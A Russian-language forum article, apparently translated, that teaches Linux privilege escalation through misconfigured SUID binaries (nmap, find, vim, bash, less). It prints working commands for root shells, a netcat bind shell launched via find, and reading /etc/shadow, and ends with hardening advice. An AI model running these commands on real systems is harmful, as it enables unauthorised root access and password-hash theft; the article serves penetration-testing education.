• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Гостевая статья SUID Executables

SUID (Установка идентификатора пользователя) - это тип разрешения, которое предоставляется файлу и позволяет пользователям выполнять файл с разрешениями его владельца. Существует множество причин, по которым бинарный файл Linux может иметь такой тип разрешений. Например, утилите ping требуются привилегии root для открытия сетевого сокета, но она должна выполняться обычными пользователями, а также проверять связь с другими хостами.

Однако некоторые из существующих двоичных файлов и утилит можно использовать для повышения привилегий до root, если у них есть разрешение SUID. Известные исполняемые файлы Linux, которые могут разрешать повышение привилегий:

  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Nano
  • cp
Следующие команды могут обнаружить все исполняемые файлы SUID, работающие в системе. В частности, команды будут пытаться найти в каталоге /, принадлежащем пользователю root, которые имеют биты разрешений SUID, распечатать их, а затем перенаправить все ошибки в / dev / null , чтобы вывести только двоичные файлы, к которым у пользователя есть разрешения. доступ.

Код:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

discovery-of-suid-executables.png

Обнаружение исполняемых файлов SUID

Все приведенные выше двоичные файлы будут выполняться с правами суперпользователя, поскольку они содержат « s » в своих разрешениях и принадлежат пользователю root.

Код:
ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

suid-executable-nmap.png

Исполняемый файл SUID - Nmap

Nmap
В старых версиях Nmap (от 2.02 до 5.21) использовался интерактивный режим, позволяющий пользователям выполнять команды оболочки. Поскольку Nmap находится в списке двоичных файлов, которые выполняются с привилегиями root, можно использовать интерактивную консоль для запуска оболочки с такими же привилегиями.

Код:
nmap -V

nmap-version-identification.png

Идентификация версии Nmap

Интерактивный режим можно запустить, выполнив Nmap с параметром « интерактивный »
Код:
nmap --interactive

nmap-interactive-mode.png

Nmap - Интерактивный режим

Следующая команда даст повышенную оболочку.
Код:
nmap> !sh
sh-3.2# whoami
root

root-shell-via-suid-nmap.png

Root Shell через Suid Nmap Binary

В качестве альтернативы есть модуль Metasploit, который выполняет повышение привилегий через двоичные файлы SUID Nmap.
Код:
exploit/unix/local/setuid_nmap

Find
Утилита find может быть использована для обнаружения хранящихся в системе. Однако это способность выполнять команды. Поэтому, если он настроен на запуск с разрешением SUID, все команды, которые будут выполнены с помощью команды find, будут выполняться от имени пользователя root.

Код:
touch pentestlab
find pentestlab -exec whoami \;

find-command-execution.png

Find выполнение команды

Поскольку в большинстве операционных систем Linux установлен netcat, можно повысить выполнение команд с повышенными правами до корневой оболочки.
Код:
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

run-netcat-via-find.png

Запустите Netcat через Find

Подключение к открытому порту даст корневую оболочку.
Код:
netcat 192.168.1.189 5555
id
cat /etc/shadow

root-shell-via-find.png

Root Shell через Find

Vim
Основное использование Vim - это текстовый редактор. Однако, если он работает как SUID, он унаследует разрешение пользователя root и, следовательно, сможет читать все файлы в системе.
Код:
vim.tiny /etc/shadow

vim-reading-root-files.png

Vim - чтение корневых файлов

Дальнейшие действия root можно выполнить, запустив оболочку через Vim.
Код:
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

vim-root-shell.png

Vim - Root Shell

BASH
Следующая команда откроет оболочку bash от имени пользователя root.
Код:
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

bash-root-shell.png

Bash - Root Shell

Less
Утилита Less также может выполнять повышенные оболочки. Тот же принцип применяется и для команды More .
Код:
less /etc/passwd
!/bin/sh

less-root-shell.png

Less - Root Shell

Вывод
Выполнение повышения привилегий неправильно настроенными исполняемыми файлами SUID тривиально. Поэтому администраторы должны оценить все двоичные файлы SUID и определить, нужно ли им работать с разрешениями повышенного уровня пользователя. Особое внимание следует уделять приложениям, способным выполнять код или записывать произвольные данные в систему.
Старые сообщения

Перевод:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!